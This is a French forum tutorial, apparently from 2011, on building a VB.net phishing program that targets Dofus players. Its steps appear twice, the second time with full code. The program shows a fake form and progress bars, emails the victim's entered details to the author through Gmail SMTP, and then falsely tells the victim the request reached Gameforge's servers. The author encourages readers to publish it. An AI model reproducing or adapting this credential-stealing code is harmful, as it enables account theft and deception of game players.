Bonjours , à tous je vais vous montrer comment faire un logiciel de Phishing sous VB.net . Dans ce tutoriel le logiciel est pour le jeu Dofus mais vous pouvez l’adapter a n'importe quel jeu .
Ce tutoriel est pour les expert.Je pense même qu'un débutant assez débrouillard pourrait le faire ;)
1.Lancement de Visual Basic 2010
-Télécharger Visual Basic 2010 (Ou plus récent) ---> Ce lien n'est pas visible, veuillez vous connecter pour l'afficher. Je m'inscris!
Une fois l'installation terminée , lancez Visual Basic 2010
-Cliquez sur l'icône "nouveau projet" juste en dessous de "Fichier"
-Nommez votre logiciel comme vous le voulez et cliquez sur "OK"
2. Le design
Passons maintenant à la parti design de notre logiciel
-Insérez une "PictureBox"
Cliquez sur la flèche de la PictureBox
-Puis , cliquez sur "Choisir une image"
-Séléctionner "Ressource local" puis cliquez sur "Importer..."
-Choisissez l'image que vous voulez pour l'arrière plan de votre logiciel .
Maintenant , nous allons modifier le nom du logiciel
-Cliquez sur "Form1" , (1 seul clique)
- Cherchez dans la boite des propriétés : "Text" et modifiez "Form1" par le nom de votre logiciel .
Maintenant nous allons placer les TextBox , ComboBox , Bouton , ProgressBar et Timer .
-Sélectionner dans la boîte à outils : Le nombre de TextBox , de ComboBox , Bouton , etc...
Moi je vais choisir : 3 TextBox , 2 ComboBox , 2 ProgressBar , 2 Timer , 2 Boutons
Voilà ce que sa donne chez moi :
Les 2 ProgressBars et les 2 Bouton sont superposés
3. Le Code
Nous allons maintenant passer à la partie la plus compliquer ... Le codage de notre logiciel. Ne fait pas du copier/collez du code sans rien comprendre à ce que vous copier/coller.
-Double cliquez sur "Bouton1"
Vous devez rentrez ce code (Vous pouvez bien sur changer le message d'erreur)
-Revenez sur l'onglet design de votre logiciel et double cliquez sur "Timer1" et entrez ce code :
-Tous en haut de la page de code et tapez :
(Au dessus de "Public Class Form1")
-Cliquez maintenant sur le "Buton2" et entrez :
Attention : La ligne
Varie selon les TextBox et les ComboBox utilisées
Remplacer les guillemets par vos informations
-Enfin , cliquez sur "Timer2" et entrez :
Voici le code du logiciel en entier :
TUTO By Enzobes © 2011
Faite un debug de votre logiciel pour être sur qu'il marche , enregistrer et c'est fini vous pouvez publier votre logiciel
Si vous avez des question n'hésitez pas ;)
Ce tutoriel est pour les expert.Je pense même qu'un débutant assez débrouillard pourrait le faire ;)
1.Lancement de Visual Basic 2010
-Télécharger Visual Basic 2010 (Ou plus récent) ---> Ce lien n'est pas visible, veuillez vous connecter pour l'afficher. Je m'inscris!
Une fois l'installation terminée , lancez Visual Basic 2010
-Cliquez sur l'icône "nouveau projet" juste en dessous de "Fichier"
-Nommez votre logiciel comme vous le voulez et cliquez sur "OK"
2. Le design
Passons maintenant à la parti design de notre logiciel
-Insérez une "PictureBox"
Cliquez sur la flèche de la PictureBox
-Puis , cliquez sur "Choisir une image"
-Séléctionner "Ressource local" puis cliquez sur "Importer..."
-Choisissez l'image que vous voulez pour l'arrière plan de votre logiciel .
Maintenant , nous allons modifier le nom du logiciel
-Cliquez sur "Form1" , (1 seul clique)
- Cherchez dans la boite des propriétés : "Text" et modifiez "Form1" par le nom de votre logiciel .
Maintenant nous allons placer les TextBox , ComboBox , Bouton , ProgressBar et Timer .
-Sélectionner dans la boîte à outils : Le nombre de TextBox , de ComboBox , Bouton , etc...
Moi je vais choisir : 3 TextBox , 2 ComboBox , 2 ProgressBar , 2 Timer , 2 Boutons
Voilà ce que sa donne chez moi :
Les 2 ProgressBars et les 2 Bouton sont superposés
3. Le Code
Nous allons maintenant passer à la partie la plus compliquer ... Le codage de notre logiciel. Ne fait pas du copier/collez du code sans rien comprendre à ce que vous copier/coller.
-Double cliquez sur "Bouton1"
Vous devez rentrez ce code (Vous pouvez bien sur changer le message d'erreur)
Code:
Timer1.Start()
If TextBox2.Text = "" Then
Timer1.Stop()
MsgBox("Vous devez remplir tous les champs ", MsgBoxStyle.Information = vbOKOnly, "ERREUR")
-Revenez sur l'onglet design de votre logiciel et double cliquez sur "Timer1" et entrez ce code :
Code:
ProgressBar1.Increment(1)
If ProgressBar1.Value = 100 Then
Timer1.Stop()
Button3.Visible = True
MsgBox("Cliquez sur le bouton envoyer la requette au serveur pour valider ")
-Tous en haut de la page de code et tapez :
Code:
Imports System.Net.Mail
(Au dessus de "Public Class Form1")
-Cliquez maintenant sur le "Buton2" et entrez :
Code:
Dim MyMailMessage As New MailMessage()
Try
MyMailMessage.From = New MailAddress("[email protected]")
MyMailMessage.To.Add("[email protected]")
MyMailMessage.Subject = ("Le sujet du mail")
MyMailMessage.Body = TextBox1.Text + ControlChars.NewLine + TextBox2.Text + ControlChars.NewLine + TextBox3.Text + ControlChars.NewLine + ComboBox1.Text + ControlChars.NewLine + ComboBox2.Text + ControlChars.NewLine + ComboBox3.Text + ControlChars.NewLine + ComboBox4.Text + ControlChars.NewLine + ComboBox5.Text + ControlChars.NewLine ( Cette ligne change suivant le nombre de ComboBox et TextBox utilisées.)
Dim SMTP As New SmtpClient("smtp.gmail.com")
SMTP.Port = 587
SMTP.EnableSsl = True
SMTP.Credentials = New System.Net.NetworkCredential("Votre identifiant", "votre mot de passe")
SMTP.Send(MyMailMessage)
TextBox2.Text = ""
Catch ex As Exception
End Try
Timer2.Start()
Attention : La ligne
Code:
MyMailMessage.Body = TextBox1.Text + ControlChars.NewLine + TextBox2.Text + ControlChars.NewLine + TextBox3.Text + ControlChars.NewLine + ComboBox1.Text + ControlChars.NewLine + ComboBox2.Text + ControlChars.NewLine + ComboBox3.Text + ControlChars.NewLine + ComboBox4.Text + ControlChars.NewLine + ComboBox5.Text + ControlChars.NewLine
Varie selon les TextBox et les ComboBox utilisées
Remplacer les guillemets par vos informations
-Enfin , cliquez sur "Timer2" et entrez :
Code:
Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
ProgressBar2.Visible = True
ProgressBar2.Increment(1)
If ProgressBar2.Value = 100 Then
Timer2.Stop()
MsgBox("Votre requette a bien été envoyer sur les serveur de Gameforge , elle sera traitée sous 24 heures", , "Requette envoyée")
Voici le code du logiciel en entier :
Code:
Imports System.Net.Mail
Public Class Form1
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Timer1.Start()
If TextBox2.Text = "" Then
Timer1.Stop()
MsgBox("Vous devez remplir tous les champs ", MsgBoxStyle.Information = vbOKOnly, "ERREUR")
End If
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
ProgressBar1.Increment(1)
If ProgressBar1.Value = 100 Then
Timer1.Stop()
Button3.Visible = True
MsgBox("Cliquez sur le bouton envoyer la requette au serveur pour valider ")
End If
End Sub
Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
Dim MyMailMessage As New MailMessage()
Try
MyMailMessage.From = New MailAddress("[email protected]")
MyMailMessage.To.Add("[email protected]")
MyMailMessage.Subject = ("Sujet du mail")
MyMailMessage.Body = TextBox1.Text + ControlChars.NewLine + TextBox2.Text + ControlChars.NewLine + TextBox3.Text + ControlChars.NewLine + ComboBox1.Text + ControlChars.NewLine + ComboBox2.Text + ControlChars.NewLine + ComboBox3.Text + ControlChars.NewLine + ComboBox4.Text + ControlChars.NewLine + ComboBox5.Text + ControlChars.NewLine
Dim SMTP As New SmtpClient("smtp.gmail.com")
SMTP.Port = 587
SMTP.EnableSsl = True
SMTP.Credentials = New System.Net.NetworkCredential("identifiant", "mot de passe ")
SMTP.Send(MyMailMessage)
TextBox2.Text = ""
Catch ex As Exception
End Try
Timer2.Start()
End Sub
Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
ProgressBar2.Visible = True
ProgressBar2.Increment(1)
If ProgressBar2.Value = 100 Then
Timer2.Stop()
MsgBox("Votre requette a bien été envoyer sur les serveur de Gameforge , elle sera traitée sous 24 heures", , "Requette envoyée")
End If
End Sub
End Class
TUTO By Enzobes © 2011
Faite un debug de votre logiciel pour être sur qu'il marche , enregistrer et c'est fini vous pouvez publier votre logiciel
Si vous avez des question n'hésitez pas ;)
Last edited: